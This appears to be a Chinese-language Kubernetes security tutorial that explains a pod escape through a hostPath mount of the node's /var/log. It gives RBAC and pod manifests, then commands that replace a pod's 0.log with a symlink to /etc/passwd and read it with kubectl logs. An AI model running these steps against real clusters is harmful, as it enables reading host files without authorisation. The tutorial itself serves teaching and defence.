今天會介紹如何透過掛載宿主機 /var/log 檔案再搭配觀看權限以達到任意檔案讀取的效果。以下是今天攻擊手法的介紹以及架構位置,參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,屬於 7、10 號的變形利用。
另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :
相關資料可以參考 Kubernetes Pod Escape Using Log Mounts。當在下指令 kubectl logs <pod_name> 的時候,其實背後是遵循著下列步驟進行的。
所以想像一個有趣的攻擊手法,假如把 /var/log 掛載進入 Pod 中,並且給予修改的權限,透過將特定的 0.log 指向機敏檔案資訊,再透過呼叫 kubectl logs <pod_name> 就可以讀取該機敏檔案資訊的內容。只不過因為格式解析錯住的關係這個手法只能夠讀取一行的檔案內容,但結合 –-tail=-<line_number> 就可以控制要讀取的行數,算是可以克服這個問題。
接下來就要進行環境的搭建,但因為目前還沒提到 K8s 的 RBAC 概念,所以這部份就先快速帶過,等到後面會有針對 RBAC 的部分做比較詳盡的說明。serviceaccount 必須有以下 pod 列舉跟讀取 log 權限,以下是針對 default serviceaccount 綁定權限的資訊 :
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: default
name: list-and-logs
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: practice-default-rolebinding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: list-and-logs
subjects:
- kind: ServiceAccount
name: default
namespace: default
apiVersion: v1
kind: Pod
metadata:
name: target-pod
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
volumeMounts:
- name: logs
mountPath: /var/log/host
ports:
- containerPort: 80
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
rm /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
ln -s /etc/passwd /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" ;
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl ;
kubectl logs target-pod --tail=1 ;
作業3-1
作業3-2
今日總結 :
本日回顧 :
次日預告 :